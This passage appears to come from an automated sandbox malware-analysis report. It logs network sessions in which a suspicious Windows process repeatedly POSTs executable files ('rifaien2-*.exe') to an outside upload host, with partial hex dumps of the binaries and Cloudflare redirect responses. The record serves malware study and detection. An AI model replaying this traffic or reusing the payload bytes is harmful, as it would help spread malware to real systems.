Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50461	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:29.013106108 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------21ba93eab2e59036
Oct 10, 2024 21:02:29.466840982 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:29.467698097 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 31 62 61 39 33 65 61 62 32 65 35 39 30 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------21ba93eab2e59036Content-Disposition: form-data; name="file[]"; filename="rifaien2-BGQBJ4RqEFRi5PE5.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:29.467809916 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:29.473520041 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:29.473520041 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:29.473634958 CEST	7416	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:29.473687887 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:29.473717928 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:29.478835106 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:29.478954077 CEST	4944	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:29.479089022 CEST	22248	OUT	Data Raw: 2e 5e 2f 68 39 19 01 00 0e 98 5e 0f 84 76 ba 2f 06 bf c6 47 10 01 c7 47 77 47 8e 41 3e 98 03 06 e6 27 41 77 72 ca 7e 03 5c 47 aa 4d 03 56 56 68 44 2b 2f ac e3 bb 14 57 03 6f 4b 2b 0f 84 1f 23 73 00 42 ce 84 85 e0 aa 1e b9 d8 ae 6a 4f 15 74 63 10 Data Ascii: .^/h9^v/GGwGA>'Awr~\GMVVhD+/WoK+#sBjOtcO;PT$\DMsq`cRSHhA cu\|lN`tjE1\(p?Q@?g4S6S7gIgC1[Gi^H,du3r#tZ
Oct 10, 2024 21:02:29.774277925 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:29 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:29 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IispFUqH8moMYqRXss77AcNhfvGqeiY9XikHt%2FSZKhaDYa4alLhywKbFo6g8ciar65egWAE%2B8Lk4sUoFhxTHoNFy%2BhoD0J3EQkXo9rXVt2NILwcz0tzWfAtE2D%2FbaZ6OfDix7f3bO2EsJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd71ff904310-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50467	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:29.900892973 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------cfc8a2e1386ba0d3
Oct 10, 2024 21:02:30.454582930 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:30.456043005 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 66 63 38 61 32 65 31 33 38 36 62 61 30 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------cfc8a2e1386ba0d3Content-Disposition: form-data; name="file[]"; filename="rifaien2-R4CZoQ4QiFrvNxlX.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:30.456322908 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:30.465498924 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:30.465543985 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:30.465543985 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:30.465559959 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:30.465622902 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:30.465641022 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:30.465673923 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:30.465696096 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:30.773318052 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:30 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:30 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WUF4x%2FenM6CTVGlnnP%2FSZhCHI8aG9vUiDtNgcQeplEurQFskLYlsAb%2FWovZrB86UiqhfwHxl8vdc67KeNdrc7fH0Vge49uP0hMwP8EKyu0KIbHYxs5mj2lVMp0BmVXpV%2BfhNMWf40hbtEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd778c4c1851-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50472	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:30.900804043 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------9f8686089861a424
Oct 10, 2024 21:02:31.365428925 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:31.503859043 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 66 38 36 38 36 30 38 39 38 36 31 61 34 32 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------9f8686089861a424Content-Disposition: form-data; name="file[]"; filename="rifaien2-SMLg9RViRYG2pkp6.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:31.504089117 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:31.509232998 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:31.509269953 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:31.509324074 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:31.509453058 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:31.509500980 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:31.509530067 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:31.509646893 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:31.509824038 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:31.862811089 CEST	823	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:31 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:31 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oKHlLuFwv7AX3WXRQoBKY42%2FgM4EjCH6rQiSClRbQ%2FM5rY%2Fr6s5el%2BVgYlZ5a7K1ANX%2F0h%2FAl3CP5EBJEyRn5R1dtPlLX5ElwKZrlRP6Dm9HtbnOE5YbP3jBkZyVE238rFqZ%2F%2FlzeWt3Wg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd7ddd584391-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50477	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:31.994306087 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------20747c28f04719ea
Oct 10, 2024 21:02:32.652061939 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:32.653820038 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 30 37 34 37 63 32 38 66 30 34 37 31 39 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------20747c28f04719eaContent-Disposition: form-data; name="file[]"; filename="rifaien2-ddYzW9sGfJmlWZnw.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:32.654045105 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:32.659219980 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:32.659313917 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:32.659348965 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
